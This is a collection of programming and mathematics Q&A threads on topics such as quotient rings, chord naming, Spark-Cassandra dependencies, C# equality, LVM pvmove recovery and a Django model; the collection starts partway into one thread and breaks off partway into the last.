Comment: I'm not sure I follow this. If I understand correctly, what Gower's distance does has the same issues I mention in my question, i.e. the contributions to Gower distance for numerical features are scaled to the unit interval while the contributions from categorical features are always at the extremes of the unit interval.
Comment: But what I worry about is: Consider a dataset where (scaled) house size is uniform over [0,1]. A contribution of ~1 from any pair of houses is rare, because 0 and 1 are at the very extremes.
If the houses are 50/50 regarding garages, approximately every other pair will give a contribution of 1 - the same as the 'extreme' contributions from the sizes.
Is it correct that Gower distance does not change this?
Comment: To my understanding it scales each attribute to 0:1 effectively, yes. But again, PCA and standardization on binary variables can produce much *worse* distortion.


If $A \subseteq B$ are ideals of $R$, can one define a surjective map from $R/B$ to $R/A$?

Question: If $A$ and $B$ are ideals of a commutative ring $R$ such that $A \subseteq B$, then can one define a surjective map from the quotient ring $R/B$ to $R/A$? I can define an injective map from $R/A$ to $R/B$, but not a surjective homomorphism from $R/B$ to $R/A$. Is it possible? I'm asking this because I have this sentence (which is true):
If $R$ is a UFD, then, if $h$ divides $t$ in R, the following sequence is exact (everything considered as a R-module)
$$ 0 \rightarrow hR/tR \rightarrow R/tR \rightarrow R/hR \rightarrow 0.$$
I just cannot see why there is a (natural?) surjective map $f: R/tR \rightarrow R/hR$.
Comment: Think about a simple example such as $\Bbb{Z}$ and the ideals $2\Bbb{Z}$ and $4\Bbb{Z}$.
Answer: In general, if $A\subseteq B$, then $R/A$ will be "bigger" than $R/B$. For example, let $R = \mathbb{Z}, A = 4\mathbb{Z}, B=2\mathbb{Z}$. $R/A = \mathbb{Z}_4, R/B = \mathbb{Z}_2$, and there exists a surjective homomorphism from $R/A$ to $R/B$. So, I think what you want to ask is if we can find a surjective homomorphism from $R/A$ to $R/B$ (for the question you actually posed, the above is a counterexample).
In fact, we can. Define $f: R/A\to R/B$ in the following manner. Let $r+A\in R/A$. Then there exists some $b\in R$ such that $r\in b+B$. Then let $f(r+A)=b+B$.
$f$ is well-defined, for suppose $r+A=s+A$. Let $b_r, b_s\in R$ such that $r\in b_r+B, s\in b_s+B$. This is to say, $r=b_r+b_1, s=b_s+b_2$ where $b_1, b_2\in B$. Now, $r-s\in A$, and so $r-s\in B$. Further, $r-s=(b_r-b_s)+(b_1-b_2)$. It follows that $b_r-b_s\in B$, and so $b_r+B=b_s+B$, so $f$ is well-defined.
$f$ is a homomorphism, for let $r,s\in R$. Then let $f(r+A)=b_r+B, f(s+A)=b_s+B$. Then $r+s \in (b_r+b_s)+B$, and so $f((r+s)+A) = (b_r+b_s)+B$.
Finally, $f$ is surjective, for let $x+B\in R/B$. Then $f(x+A)=x+B$.
Answer: First, the natural map from $R/A$ to $R/B$ is surjective, and certainly not injective, unless $A=B$.
Second, the natural map $f\colon R/tR\longrightarrow R/hR$, $x+tR\longmapsto x+hR$ is well defined and surjective if $h\mid t$, because it translates into $tR\subseteq hR$, so we're in the previous case of $A\subseteq B$ (and this has nothing to see with factoriality).
Comment: @Tanner Strunk: The example you link to is not a *natural* map, and not a *ring* homomorphism. In the present case, the kernel of the natural map is $B/A$. If the map is injective, $A/B=\{0\}$ and as o $A\subset B$, this implies $A=B$.
Comment: Bernard, your answer is fine, though I'm not sure that the map $R/A\rightarrow R/B$ being a bijection implies that $A = B$. I thiiiiink there are some examples using roots of unity which give subgroups which are isomorphic to initial group without being the same set. I'm not certain of this, and it's a minor detail, but I remember something like that popping up in Dummit and Foote. So injectivity of the map $R/A\rightarrow R/B$ might imply that $A\cong B$ but not necessarily that $A = B$.
Comment: cf. https://math.stackexchange.com/questions/1233700/when-is-a-group-isomorphic-to-a-proper-subgroup-of-itself

Again your answer is fine and I'm not trying nitpick at it. I just think it's interesting that these sorts of things can happen where a group is isomorphic to one or more of its proper subgroups.
Comment: Hey thanks for the response! I appreciate the clarification and see that you are correct now. (Again I wasn't trying to be nitpicky. More just curious.)
Answer: I think one of the isomorphism theorems just gives
$(R/A)/(B/A)\cong R/B$ so that there is a surjective homomorphism from $R/A\rightarrow (R/A)/(B/A)\cong R/B$.
cf. https://en.wikipedia.org/wiki/Isomorphism_theorems#Rings


Get Chord Name From a Given Set of Notes

Question: I am trying to come up with an algorithm that gets the proper chord name given certain Notes, user may or may not inform which from the notes is the root.
I suppose that the process in recognizing a chord name differs for how many notes are given, so maybe there should be an algorithm for triads, one for 4 note chords, and another for 5+ notes? Or is there a general way of approaching this? maybe chord patterns?
Comment: You could transform every pitch class set to its prime form, and then use that as a key for a chord dictionary. This answer contains information about how to find the prime form: https://music.stackexchange.com/questions/82120/is-there-a-way-to-determine-a-sets-prime-form-when-given-its-interval-vector/82173#82173 Also check out https://en.wikipedia.org/wiki/Set_theory_(music)
Comment: What in your opinion is a proper chord name? Even _the_ proper chord name...? Can you give an example of an improper chord name?
Comment: @YourUncleBob this is pretty interesting, I did not knew about Set Theory, I think I'll get a book.
Comment: Actually, the prime form of a pitch-class set in set theory is found through rotation and mirroring, which means e.g. that a major and minor triad both have prime form (0,3,7). For your use case, you should use only rotation, not mirroring, so that you get (0,4,7) for major triads.
Comment: You haven't said what your input or output data will be.
Comment: @MichaelCurtis The input will be a set of notes, the output should be a Chord name, kind of Logic's pro midi monitor.
Comment: @YourUncleBob so its like representing chords in semitones from the root?
Comment: @ChecheRomo, I meant actual examples like input `D♭4` versus `d♭′′` and output `D♭` versus `N6`, and as ttw pointed out augmented sixth chords are tricky, how would you name a German augmented sixth, just `Gr+` or `Ab#6`, or decide it's a tritone sub and call it `Ab7`? You have to output to a particular naming system, in part that will determine your algorithm.
Comment: @ChecheRomo Well, sort of. The root will not necessarily be at the bottom. But the same collection of notes will always give the same prime form, whichever inversion you use. So it's a way of reducing the huge number of possibilities to a smaller dictionary. Every prime form may still be open to interpretation; C-F-G-Bb is (0,2,5,7) starting on F, but that could still be Csus4b7, or fourths stack on G, or Fsus24, or Bb13... But those options would be the same for every (0,2,5,7) chord.
Answer: Some chords (at least in Common Practice Period harmony) cannot be named out of context. Some trivial examples: F-Ab-Db-F is a Db major chord in and of itself but if resolved to G, it may be a Neapolitan Sixth.
The collection: Ab-C-Eb-F# is a German Sixth if resolved to G-C-E-G thence to G-B-D-G(or F). It's a dominant seventh if resolved to Db-F-Ab or perhaps a tritone substitution. Possibly using F# for the German Sixth and Gb for the dominant seventh helps however composers do approach the chord as a German Sixth and resolve it as dominant seventh and vice versa.
Some ambiguities are matters of taste. In San Antonio Rose (the only song I can think of quickly that does this) the opening chords are Bb-Eb-C7-F7; when I play this piece or other similar pieces I think I-IV-II7-V7 (especially as vocalists may want me to transpose) but while laying out a chord scheme during composing, I think I-IV-V7/V-V7 which shows the structure and would explain a Bb-Eb-C7-d-g-c6-F7-Bb as a secondary dominant resolving on a deceptive cadence followed by a cycle of fifths.
One thing you could do (to get back to the original question) is to rearrange the note collection to have as many thirds as possible and name the chord from there. Moving the notes around should indicate which inversion one has. D-F-G-B can be arranged to be G-B-D-F with a maor third followed by by three minor thirds.
Comment: Maximizing the number of thirds makes sense to me, thanks I'll try it this way.
Comment: `N6` versus `Db` is analysis (identifying function in a key) versus naming (identifying root and chord quality.)


Spark 2.0 on Cassandra 3.7 -- Which maven dependencies to include?

Question: I would like to use Spark on Cassandra. I currently have installed Spark 2.0 and Cassandra 3.7. Which version of the spark-cassandra-connector should I use and what other maven dependencies do I have to include? Or do I have to fallback to an older version of Spark and/or Cassandra?
I'm trying to run the following example:
  // Generate products hierarchy
  final List<Product> products = Arrays.asList(
    new Product(0, "All Products", Collections.<Integer>emptyList()),
    new Product(1, "Product A", Arrays.asList(0)),
    new Product(4, "Product A1", Arrays.asList(0,1)),
    new Product(5, "Product A2", Arrays.asList(0,1)),
    new Product(2, "Product B", Arrays.asList(0)),
    new Product(6, "Product B1", Arrays.asList(0,2)),
    new Product(7, "Product B2", Arrays.asList(0,2)),
    new Product(3, "Product C", Arrays.asList(0)),
    new Product(8, "Product C1", Arrays.asList(0,3)),
    new Product(9, "Product C2", Arrays.asList(0,3))
  );

  // Store product hierarchy in Cassandra
  JavaRDD<Product> productsRdd = sc.parallelize(products);
  javaFunctions(productsRdd).writerBuilder("sales_planning", "products", mapToRow(Product.class)).saveToCassandra();

and my POM looks like:
    ...

        com.datastax.cassandra
        cassandra-driver-mapping
        3.1.0

<dependency>
   <groupId>org.apache.spark</groupId>
   <artifactId>spark-core_2.11</artifactId>
   <version>1.6.2</version>
</dependency>

<dependency>
  <groupId>org.apache.spark</groupId>
  <artifactId>spark-sql_2.11</artifactId>
  <version>1.6.2</version>
</dependency>

<dependency>
   <groupId>com.datastax.spark</groupId>
   <artifactId>spark-cassandra-connector_2.11</artifactId>
   <version>2.0.0-M2</version>
</dependency>

<dependency>
   <groupId>com.datastax.spark</groupId>
   <artifactId>spark-cassandra-connector-java_2.11</artifactId>
   <version>1.6.0-M1</version>
</dependency>

</dependencies>
...

running the example code gets me the following exception: org.apache.spark.executor.TaskMetrics.outputMetrics()Lorg/apache/spark/executor/OutputMetrics;
After updating my pom to:

          com.datastax.cassandra
          cassandra-driver-mapping
          3.1.0

   <dependency>
     <groupId>org.apache.spark</groupId>
     <artifactId>spark-core_2.11</artifactId>
     <version>2.0.0</version>
   </dependency>

   <dependency>
     <groupId>org.apache.spark</groupId>
     <artifactId>spark-sql_2.11</artifactId>
     <version>2.0.0</version>
   </dependency>

   <dependency>
     <groupId>com.datastax.spark</groupId>
     <artifactId>spark-cassandra-connector_2.11</artifactId>
     <version>2.0.0-M2</version>
   </dependency>
 </dependencies>

I now have Eclipse mark my POM file and gives me (among others):
Description Resource    Path    Location    Type
Failed to read artifact descriptor for org.mortbay.jetty:jetty-util:jar:6.1.26
Description Resource    Path    Location    Type
Missing artifact com.datastax.spark:spark-cassandra-connector_2.11:jar:2.0.0-M2 pom.xml
Description Resource    Path    Location    Type
Missing artifact com.datastax.spark:spark-cassandra-connector_2.11:jar:2.0.0-M2 pom.xml
Comment: Are you using Scala? There are two versions for Scala.
Comment: sorry, no im using Java
Answer: At this moment, use the 2.0.0-M2 from the packages repository. There is no need to add any other dependencies as they are automatically marked and retrieved. The Default Scala version is 2.11 for Spark 2.0.0 so be sure to choose a 2.11 package.
In general you will want the latest version which matches the Spark Version you are using.
-- In response to question Edit
Change the Spark Versions to 2.0 if that what you are running against. Remove reference to -java modules because those files are part of the main dependency.
Comment: Thanks Russ for the quick answer!
Comment: I'm trying to run the following example (remember using Spark 2.0 and C* 3.7):


custom SimpleCursorAdapter to decode value

Question: i try to custom SimpleCursorAdapter to decode a value and set into textview but not working
my custom simplecursoradapter class:
public class simpledecode extends SimpleCursorAdapter{

private NotesDbAdapter mDbHelper;
public simpledecode(Context context, int layout, Cursor c, String[] from,
        int[] to) {
    super(context, layout, c, from, to);
}
@Override
public void setViewText(TextView v, String text) {
    // TODO Auto-generated method stub
    super.setViewText(v, text);
    v.setText(mDbHelper.base64toString(text));
}

my decode method:
public String base64toString(String text)
{
    byte[] data1 = Base64.decode(text, Base64.DEFAULT);
    String text1 = null;
    try {
        return text1 = new String(data1, "UTF-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
        return null;
    }
}

Comment: Can you be more specific? What exactly doesn't work?
Comment: java.lang.NullPointerException
at com.example.note.simpledecode.setViewText(simpledecode.java:24)
i think maybe textview or text is null
Comment: v.setText(mDbHelper.base64toString(text));
Comment: Tried this code see there is any exception thrown? v.setText(""+mDbHelper.base64toString(text));
Comment: Adding ""+ to v.setText on setViewText method
Comment: the same, null pointer
i dont know which is null :(
Comment: i put a log in settext, Log.d("debug","text " +text); and result text TVE9PQo=
Comment: my function decode is fail, i try to fix it
Comment: http://www.anddev.org/novice-tutorials-f8/how-to-base64-encode-decode-t11828.html Google just not support decode well :(
Answer: This is because text is null in the line byte[] data1 = Base64.decode(text, Base64.DEFAULT);
You can add the null check at the beginning of the method
public String base64toString(String text)
{
    if (text == null) return null;

    byte[] data1 = Base64.decode(text, Base64.DEFAULT);
    String text1 = null;
    try {
        return text1 = new String(data1, "UTF-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
        return null;
    }
}

Comment: i try but it's not null.
i think if text null the decode of text is null too. so dont need
    if (text == null) return null;
Comment: I tried passing the null value into `Base64.decode` and it throws an exception.


Mathematics behind Incentive Design

Question: I was working on an Applied Math project on allocation and I had an interesting idea about extending it to providing incentives to different "players" in the allocation process.
But I am clueless about how incentives are designed. For instance, if I had 2 tickets to a football game and 5 people that I am trying to allocate to (2 get 1 each), how do I provide incentives for someone who doesn't really want to go to say no and stuff (basically, ensure that the "best" 2 actually get the tickets).
I just want to know where should I get started on reading about this. I understand this is probably under Game Theory and probably a subpart of Mechanism Design but is there a specialized field of Math/Econ for designing incentives?
Comment: @Jordan. Interesting insight but here's the catch: I am not selling those tickets. Assume I am a non-profit who wants to distribute these tickets. How do I provide incentives to people to reject if they are not interested/if they are uncertain they can't make it? (This would probably make more sense if I had something like blankets or food but whatever, you get the point).
Comment: A simple way to figure this in is to provide a valuation for utility (how much satisfaction a person gets from going to the football game).
Taking your football tickets example, suppose that the players value the tickets at $v_i$. You can rank these valuations from lowest to highest.
Just set the price of the tickets such that $v_2>price>v_3$

Another thing you may want to look into is second price auctions. That may also prove to be insightful.
Comment: Is it possible to introduce transactions costs?
So in order to get the tickets, you have to travel 10km to collect them. This has a transaction cost which we will call T.
This gives the same conclusion as the price, though more subtly.
Comment: @Jordan. Can't do that either. Picture this exact situation: I am in earthquake devastated regions (some are worse hit than others). Suppose I run a distribution center and there is a queue of people waiting for food. Assume that each person wishes to take away enough food to feed his entire family. How do I provide incentive to a person in the queue to tell me an un-exaggerated estimate of his/her family's needs? I don't want an answer to this question but rather a direction to start exploring. What subfield of math/econ would this come under?
Answer: I believe the area you are interested in is Information Economics.
There is a subpart of information economics, called Screening.
Screening is essentially about how an uninformed agent can get an informed agent to provide truthful information about themselves.

Mathematics behind Incentive Design


How to call script with python in the same directory with subprocesses?

Question: I'm trying to open a script from the same directory with subprocesses with python 3 in Windows 10,(I Am the administrator) and using pycharm, however I'm getting the following errors for any alternative solution I try:
Here is my code:
import subprocess
subprocess.call(['C:\\Users\\CobraCommander\\PycharmProjects\\BlackBox', 'Avalon.py'])  # The above "BlackBox" it's the directory for both files.

with this I get the following error:
PermissionError: [WinError 5] Access is denied

If I try instead:
subprocess.call(['python Avalon.py'])

with this I get the following error:
FileNotFoundError: [WinError 2] The system cannot find the file specified

so I tried:
subprocess.call(['C:\\Users\\CobraCommander\\PycharmProjects\\BlackBox\\Avalon.py'])

with this I get the following error:
OSError: [WinError 193] %1 is not a valid Win32 application

I also tried to run as administrator from terminal and get same error:
PermissionError: [WinError 5] Access is denied

Kindly before trying to mark as duplicate, note that I have already read the other posts for the errors as well as subprocesses.
Can anybody advise how to lunch this script in python from another script?
Answer: You need to supply cwd argument to set the working directory:
https://docs.python.org/3/library/subprocess.html#subprocess.call
import subprocess

if __name__ == '__main__':
    subprocess.run(r'touch d:\test.txt')
    p = subprocess.run(r'ls -la test.txt', cwd=r'd:\\', stdout=subprocess.PIPE)
    print(p.stdout.decode())

output:
-rw-r--r-- 1 abdusco 197609 0 Jul 18 13:32 test.txt

Answer: Add python before your script so instead of
subprocess.call(['C:\\Users\\CobraCommander\\PycharmProjects\\BlackBox\\Avalon.py'])
use
subprocess.call(['python', 'C:\\Users\\CobraCommander\\PycharmProjects\\BlackBox\\Avalon.py'])
Make sure your PYTHONPATH environment variable is set.


Quick item removal from LinkedList

Question: I have the following linked list:
LinkedList<Segment> myList = new LinkedList<Segment>();

Why when I do:
myList.Remove(new Segment(4,8));

the following Segment.Equals() method is called:
class Segment
{
   ...

   public override bool Equals(object obj)
   {
      return Equals((Segment)obj);
   }

}

instead of this one:
class Segment
{
   ...

   public bool Equals(Segment other)
   {
      return other.V1 == V1 && other.V2 == V2;
   }
}

Isn't there any way to skip object boxing and unboxing and use the latter - more fast - approach?
Thanks.
Comment: What's the link between IndexLine and Segment? Is IndexLine a base abstract class?
Comment: Maybe it's too early in the morning for me, but `Segment` is a reference type - where is the boxing occurring?
Comment: The "object" version is called because `Segment` does not implement `IEquatable`. In any case, as Graham Clark says there is no boxing here because `Segment` is a `class`, not a `struct`. Don't confuse static typing as `object` with boxing.
Comment: Could it be it's because its an "override-issue" instead of a "boxing-issue"?
Comment: @ken2k: Sorry, while simplifying my code I forgot to rename it.
Comment: @Graham: You can be right, but one method call could be saved.
Comment: did you implement `IEquatable`? did you override `.GetHashCode`?
Comment: @Jon it's called "casting" :)
Comment: If removal of an element by its value is critical then you probably shouldn't be using a LinkedList in the first place.
Comment: @Henk: What do you recommend?
Comment: What are your requirements and constraints?
Comment: AddFirst(T), AddLast(T), RemoveFirst(T), and very fast Remove(T)...
Answer: You need your element type to implement the IEquatable<T> interface:
class Segment : IEquatable<Segment>
{
    // ...

    public bool Equals(Segment other)
    {
        return
            (object)other != null &&
            other.V1 == V1 &&
            other.V2 == V2;
    }
}

Comment: are you sure, that you are not running into a stackoverflow? rather use `.ReferenceEquals` for checking against null!
Comment: The equality and inequality operators (`==` and `!=`) always perform reference equality checks, unless the said operators are explicitly overridden by the implemented class (as in the case of `string`). You can refer to the MSDN example for [`IEquatable.Equals`](http://msdn.microsoft.com/en-us/library/ms131190.aspx), which also uses `other == null`.
Comment: I know, I just think that it is way clearer to explicitely use `.ReferenceEquals`. If someone implements his/her own `.Equals`, the possibility of overriding the equality-operator is *very* high. Otherwise an `IEqualityComparer` (if applicable) should be used.
Comment: btw, your msdn-entry (http://msdn.microsoft.com/en-us/library/ms131190.aspx) really *sucks*, when it comes to design ... who, in gods name, implements the equality-chain in such a complicated way?!
Comment: Fair enough, although it is considered bad practice to override `==` whenever one overrides `Equals` – the former should *only* ever be overridden for immutable types. I've introduced a type-cast to `object` to ensure reference equality.
Comment: And I agree about the poor implementation of the MSDN example. A `return true else return false` indicates that the implementor does not really understand booleans.
Comment: I'm not aware of any .NET classes relying on the equality operators for equality checking. The new collection classes document their behaviour explicitly; for example, in `Dictionary`: "You can specify an implementation of the `IEqualityComparer` generic interface by using a constructor that accepts a comparer parameter; if you do not specify an implementation, the default generic equality comparer `EqualityComparer.Default` is used. If type `TKey` implements the `System.IEquatable` generic interface, the default equality comparer uses that implementation."
Comment: and ... your last comment was, once again, an awesome clarification - thanks!
Comment: I'm not too much into this topic, but... is there any `.Find` or other equality-checking-method (to do some replacing/removing/adding) in the framework-classes, which uses `==` instead of `.Equals`? This might be a *pitfall* otherwise ... I never needed to override `==` or `!=` on mutable types when I've used them in collections, but I am just saying that the possibility is high. (You never know if you have to deal with the implementor of the msdn-entry, though)
Comment: The `return`-clauses are the cherry on top :)
Comment: just for anyone who's interested: I've took the long road to `EqualityComparer.Default` some time ago: http://pastebin.com/mWmJW5v5
Answer: LinkedList<T>.Remove uses LinkedList<T>.Find to find the element to remove, and LinkedList<T>.Find uses the default equality comparer to perform the comparison, which in your case is the equality comparer based on Object.Equals.
From MSDN:

The Default property checks whether type T implements the System.IEquatable<T> interface and, if so, returns an EqualityComparer<T> that uses that implementation. Otherwise, it returns an EqualityComparer<T> that uses the overrides of Object.Equals and Object.GetHashCode provided by T.

By implementing the IEquatable<T> interface you can provide your own implementation of equality which will then be used by LinkedList<T>.

Quick item removal from LinkedList


Linux pvmove gone awry after turning on mq_deadline, any way to recover?

Question: So we had a migration in the office using pvmove. Then this happened
<code>Mar  8 12:26:51 v1 kernel: [ 5798.100321] BUG: kernel NULL pointer dereference, address: 0000000000000140
Mar  8 12:26:51 v1 kernel: [ 5798.101099] #PF: supervisor read access in kernel mode
Mar  8 12:26:51 v1 kernel: [ 5798.101716] #PF: error_code(0x0000) - not-present page
Mar  8 12:26:51 v1 kernel: [ 5798.102310] PGD 0 P4D 0
Mar  8 12:26:51 v1 kernel: [ 5798.102904] Oops: 0000 [#1] SMP NOPTI
Mar  8 12:26:51 v1 kernel: [ 5798.103465] CPU: 48 PID: 1190 Comm: kworker/48:1H Not tainted 5.5.8-050508-generic #202003051633
Mar  8 12:26:51 v1 kernel: [ 5798.104071] Hardware name: ASUSTeK COMPUTER INC. RS700A-E9-RS12/KNPP-D32 Series, BIOS 1301 06/17/2019
Mar  8 12:26:51 v1 kernel: [ 5798.104693] Workqueue: kblockd blk_mq_run_work_fn
Mar  8 12:26:51 v1 kernel: [ 5798.105315] RIP: 0010:blk_mq_get_driver_tag+0x61/0x100
Mar  8 12:26:51 v1 kernel: [ 5798.105931] Code: 00 00 48 89 45 c0 8b 47 18 48 8b 7f 10 48 c7 45 d8 00 00 00 00 89 45 d0 b8 01 00 00 00 c7 45 c8 01 00 00 00 48 89 7d e0 75 50 <48> 8b 87 40 01 00 00 8b 40 04 39 43 24 73 07 c7 45 c8 03 00 00 00
Mar  8 12:26:51 v1 kernel: [ 5798.106653] RSP: 0018:ffffa92b9c59bcc0 EFLAGS: 00010246
Mar  8 12:26:51 v1 kernel: [ 5798.107371] RAX: 0000000000000001 RBX: ffff8d9b04805a00 RCX: ffffa92b9c59bda0
Mar  8 12:26:51 v1 kernel: [ 5798.108146] RDX: 0000000000000001 RSI: ffffa92b9c59bda0 RDI: 0000000000000000
Mar  8 12:26:51 v1 kernel: [ 5798.108881] RBP: ffffa92b9c59bd00 R08: 0000000000000000 R09: ffff8d9b04805ee8
Mar  8 12:26:51 v1 kernel: [ 5798.109613] R10: 0000000000000000 R11: 0000000000000800 R12: ffff8d9b04805a00
Mar  8 12:26:51 v1 kernel: [ 5798.110397] R13: ffffa92b9c59bda0 R14: ffff8d9b04805a48 R15: 0000000000000000
Mar  8 12:26:51 v1 kernel: [ 5798.111167] FS:  0000000000000000(0000) GS:ffff8d9b1ef80000(0000) knlGS:0000000000000000
Mar  8 12:26:51 v1 kernel: [ 5798.111938] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
Mar  8 12:26:51 v1 kernel: [ 5798.112693] CR2: 0000000000000140 CR3: 000000a7875fc000 CR4: 00000000003406e0
Mar  8 12:26:51 v1 kernel: [ 5798.113553] Call Trace:
Mar  8 12:26:51 v1 kernel: [ 5798.114351]  blk_mq_dispatch_rq_list+0xf9/0x550
Mar  8 12:26:51 v1 kernel: [ 5798.115121]  ? deadline_remove_request+0x4e/0xb0
Mar  8 12:26:51 v1 kernel: [ 5798.115862]  ? dd_dispatch_request+0x63/0x1f0
Mar  8 12:26:51 v1 kernel: [ 5798.116637]  blk_mq_do_dispatch_sched+0x67/0x100
Mar  8 12:26:51 v1 kernel: [ 5798.117404]  blk_mq_sched_dispatch_requests+0x12d/0x180
Mar  8 12:26:51 v1 kernel: [ 5798.118178]  __blk_mq_run_hw_queue+0x5a/0x110
Mar  8 12:26:51 v1 kernel: [ 5798.118944]  blk_mq_run_work_fn+0x1b/0x20
Mar  8 12:26:51 v1 kernel: [ 5798.119741]  process_one_work+0x1eb/0x3b0
Mar  8 12:26:51 v1 kernel: [ 5798.120534]  worker_thread+0x4d/0x400
Mar  8 12:26:51 v1 kernel: [ 5798.121369]  kthread+0x104/0x140
Mar  8 12:26:51 v1 kernel: [ 5798.122156]  ? process_one_work+0x3b0/0x3b0
Mar  8 12:26:51 v1 kernel: [ 5798.122960]  ? kthread_park+0x90/0x90
Mar  8 12:26:51 v1 kernel: [ 5798.123741]  ret_from_fork+0x22/0x40
Mar  8 12:26:51 v1 kernel: [ 5798.124524] Modules linked in: act_police cls_u32 sch_ingress sch_sfq sch_htb nls_utf8 isofs uas usb_storage xt_socket nf_socket_ipv4 nf_socket_ipv6 nf_defrag_ipv6 nf_defrag_ipv4 xt_mark iptable_mangle ebt_ip6 ebt_arp ebt_ip ebtable_broute ebtable_nat ebtable_filter ebtables ip6table_filter ip6_tables iptable_filter ip_tables x_tables bpfilter binfmt_misc dm_mirror dm_region_hash dm_log dm_thin_pool dm_persistent_data dm_bio_prison dm_bufio input_leds ipmi_ssif amd64_edac_mod edac_mce_amd i2c_piix4 k10temp ipmi_si ipmi_devintf ipmi_msghandler mac_hid kvm_amd ccp kvm ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi vhost_net vhost tap bonding lp parport br_netfilter bridge stp llc autofs4 btrfs blake2b_generic zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq multipath linear ast drm_vram_helper drm_ttm_helper ttm raid1 hid_generic raid0 drm_kms_helper usbhid crct10dif_pclmul syscopyarea crc32_pclmul
Mar  8 12:26:51 v1 kernel: [ 5798.124577]  bnx2x sysfillrect ghash_clmulni_intel sysimgblt fb_sys_fops aesni_intel crypto_simd mdio cryptd igb ahci hid glue_helper nvme libcrc32c drm dca libahci nvme_core i2c_algo_bit
Mar  8 12:26:51 v1 kernel: [ 5798.130380] CR2: 0000000000000140
Mar  8 12:26:51 v1 kernel: [ 5798.131449] ---[ end trace 2451c5dc4d61723b ]---
Mar  8 12:26:51 v1 kernel: [ 5798.246646] RIP: 0010:blk_mq_get_driver_tag+0x61/0x100
Mar  8 12:26:51 v1 kernel: [ 5798.248626] Code: 00 00 48 89 45 c0 8b 47 18 48 8b 7f 10 48 c7 45 d8 00 00 00 00 89 45 d0 b8 01 00 00 00 c7 45 c8 01 00 00 00 48 89 7d e0 75 50 <48> 8b 87 40 01 00 00 8b 40 04 39 43 24 73 07 c7 45 c8 03 00 00 00
Mar  8 12:26:51 v1 kernel: [ 5798.250301] RSP: 0018:ffffa92b9c59bcc0 EFLAGS: 00010246
Mar  8 12:26:51 v1 kernel: [ 5798.251725] RAX: 0000000000000001 RBX: ffff8d9b04805a00 RCX: ffffa92b9c59bda0
Mar  8 12:26:51 v1 kernel: [ 5798.253111] RDX: 0000000000000001 RSI: ffffa92b9c59bda0 RDI: 0000000000000000
Mar  8 12:26:51 v1 kernel: [ 5798.254411] RBP: ffffa92b9c59bd00 R08: 0000000000000000 R09: ffff8d9b04805ee8
Mar  8 12:26:51 v1 kernel: [ 5798.255695] R10: 0000000000000000 R11: 0000000000000800 R12: ffff8d9b04805a00
Mar  8 12:26:51 v1 kernel: [ 5798.256925] R13: ffffa92b9c59bda0 R14: ffff8d9b04805a48 R15: 0000000000000000
Mar  8 12:26:51 v1 kernel: [ 5798.258145] FS:  0000000000000000(0000) GS:ffff8d9b1ef80000(0000) knlGS:0000000000000000
Mar  8 12:26:51 v1 kernel: [ 5798.259333] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
Mar  8 12:26:51 v1 kernel: [ 5798.260587] CR2: 0000000000000140 CR3: 000000a7875fc000 CR4: 00000000003406e0
</code>
Currently neither abort works nor continuing:
<code># pvmove --abort
    Failed to copy one or more poll_operation_id members.

# pvmove --atomic /dev/nvme3n1 /dev/md127
 Detected pvmove in progress for /dev/nvme3n1
 Ignoring remaining command line arguments
 ABORTING: Mirror percentage check failed.
</code>
We removed the "pvmove0_mimage_0" successfully trying to go forward - it still doesn't work.
<code>  LV                                        VG      Attr       LSize   Pool  Origin Data%  Meta%        Move Log Cpy%Sync Convert Devices
    Intel                                     vgnvme0 twi-aotz--   3.64t              90.90  12.86                                  Intel_tdata(0)
    [Intel_tdata]                             vgnvme0 TwI-ao----   3.64t                                                            /dev/md127(78)
    [Intel_tdata]                             vgnvme0 TwI-ao----   3.64t                                                            pvmove0(0)
    [Intel_tmeta]                             vgnvme0 ewI-ao---- 900.00m                                                            /dev/md127(0)
    [Intel_tmeta]                             vgnvme0 ewI-ao---- 900.00m                                                            pvmove0(0)
    [Intel_tmeta]                             vgnvme0 ewI-ao---- 900.00m                                                            pvmove0(0)
    [lvol0_pmspare]                           vgnvme0 ewI-a----- 324.00m                                                            pvmove0(0)
    [pvmove0]                                 vgnvme0 p-C-aom---   1.82t                                                            /dev/nvme3n1(0)
    [pvmove0]                                 vgnvme0 p-C-aom---   1.82t                                                            /dev/nvme3n1(84)
    [pvmove0]                                 vgnvme0 p-C-aom---   1.82t                                                            /dev/nvme3n1(228)
    [pvmove0]                                 vgnvme0 p-C-aom---   1.82t                                                            /dev/nvme3n1(3)
</code>
System is running and we see some usage of the vgnvme0-pvmove0 (most likely because it is a mirror) but how do we abort pvmove in such situation? This is some really absolutely undocumented thing. We don't want to reimage backups because there was already something new written within 3 hours of migration.
Current suggestion for recovery is to create a new thin pool, migrate to it volume by volume stopping running vms one by one, alter software db to accomodate the new location and restart the vm... And after total successful migration remove the old thinpool. I can't seem to find a way to make a mirror of individual thin lvs, is that possible? If we could mirror individual LVs we could migrate all thins without much issue
We have lvs like vm1 vm2 vm3 etc...
Answer: So what we did is move with vm managedsave for safety to a new thin pool (using dd with sparse) and then remove old thin pool from lvm configuration.
Main issue is that pvmove was in a position of "splitbrain" when the moved data got booted but due to --atomic still resided on the previous disk. In this case there is no way to easily continue because pvmove apparently has a bug in it preventing data copy to prevent overwriting of the copied already data (which as I mentioned above got in use for some reason after reboot).


Model Issue is not working

Question: I am following a tutorial and trying to make a website sort of like stack overflow that allows people to post their issues. But for right now, the issue I just created is not showing on my HTML page,for other HTML elements worked fine. I set 'DEBUG=True' on setting.py, but I did not get any feedback. I suppose something wrong with my HTML page or maybe models.py. But I could not figure it out why. Could anyone help?
models.py
class Issue(models.Model):
    STATUS_CHOICES = (
        ('draft','Draft'),
        ('published','Published'),
    )
    project = models.ForeignKey(Project,on_delete=models.PROTECT)
    title = models.CharField(max_length=250)
    slug = models.SlugField(max_length=250,unique=True)
    content = models.TextField()
    author = models.ForeignKey(User,on_delete=models.PROTECT)
    published = models.DateTimeField(default=timezone.now)
    created = models.DateTimeField(auto_now_add=True)
    updated = models.DateTimeField(auto_now = True)
    status = models.CharField(max_length=9,choices= STATUS_CHOICES,default='draft')

    def save(self,*args,**kwargs):
        self.slug = slugify(self.title)
        super(Issue,self).save(*args,**kwargs)

    def get_absolute_url(self):
